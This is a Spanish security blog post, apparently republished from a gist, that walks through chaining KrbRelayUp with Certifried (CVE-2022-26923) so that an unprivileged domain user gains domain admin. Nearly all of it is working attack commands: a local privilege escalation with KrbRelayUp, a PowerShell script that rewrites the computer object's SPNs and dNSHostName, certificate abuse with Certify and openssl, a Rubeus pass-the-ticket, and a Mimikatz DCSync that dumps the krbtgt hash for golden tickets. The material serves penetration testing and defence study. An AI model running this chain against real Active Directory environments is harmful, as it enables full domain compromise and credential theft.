Combinando Certifried con KrbRelayUp para ser domain admin
Si recordáis, con Certifried (CVE-2022-26923) podíamos llegar a ser domain admin con un usuario que tuviera privilegios para añadir o ownear cuentas de equipo y, por otro lado, con un ataque de relay de kerberos sobre LDAP y Shadow Credentials podíamos da permisos de admin local a un usuario de dominio loggeado en una máquina…
Pues bien, combinando estos dos podemos hacer que un usuario de dominio sin privilegios llegue a ser administrador de dominio sin el requisito de añadir o ownear cuentas de equipo. Veamos cómo.
Requisitos previos:
– no se aplica firma LDAP en los DC (para escalado de privilegios local, haciendo que KrbRelay funcione para LDAP)
– Active Directory Certificate Services (ADCS) ejecutándose y configurados (por defecto es ok)
– DC sin parchear (para el ataque Certifried)
Ataque paso a paso:
1. Para simplificar usamos la herramienta todo en uno KrbRelayUp para escalar localmente en la máquina del dominio donde el atacante tiene capacidad de ejecución de comandos sin privilegios:
KrbRelayUp.exe full -m shadowcred -f
Esto nos dará un prompt como NT AuthoritySystem
2. Dentro de la consola con privilegios, realizamos el abuso de atributos de objetos de equipo (eliminamos los SPN y modificamos el dNSHostName a un DC).
Usar el adaptador PowerShell ADSI para esta tarea no requiere ninguna dependencia especial:
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]'')
$searcher.filter = '(&(objectClass=computer)(sAMAccountName={0}$))' -f $Env:ComputerName
$obj = [ADSI]$searcher.FindAll().Path
$spn = @()
$obj.servicePrincipalName | % { $spn += $_ }
$dns = $obj.dNSHostName.ToString()
$spn | % { $obj.servicePrincipalName.Remove($_) }
$obj.dNSHostName = "dc1.ecorp.local"
$obj.SetInfo()
El valor original de los atributos (en las variables $spn y $dns) se guarda para recuperarlos más tarde.
3. Solicitamos el certificado de máquina usando Certify (debería obtener un cert para el DC):
.Certify.exe request /ca:dc1.ecorp.localecorp-dc1-ca /machine
4. Recuperamos los atributos de la máquina (todavía en la misma sesión de PS, las variables anteriores deberían estar disponibles):
$obj.dNSHostName = $dns
$spn | % { $obj.servicePrincipalName.Add($_) }
$obj.SetInfo()
5. Copiamos la clave privada con el certificado emitido en el paso 3 como cert.pem a una máquina (Linux) que ejecuta openssl y lo convertimos a pfx (no es necesario establecer una contraseña):
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Convertimos el archivo cert.pfx a base64:
cat cert.pfx | base64 -w0
6. Pedimos un TGT de Kerberos usando Rubeus con el certificado y PKINIT y lo inyectamos en la sesión actual. Esto se puede realizar desde la shell original no elevada:
.Rubeus.exe asktgt /user:DC1$ /certificate:<base64 pfx> /ptt
Comprobamos el ticket DC1$ (cuenta de máquina del controlador de dominio) en la sesión con klist:
klist
7. Ejecutamos DCSync con Mimikatz para obtener los hashes. Preferiblemente el krbtgt (para los golden tickets):
.mimikatz.exe "lsadump::dcsync /domain:ecorp.local /user:krbtgt" exit
Fuente: https://gist.github.com/tothi/f89a37127f2233352d74eef6c748ca25
Powered by WPeMatico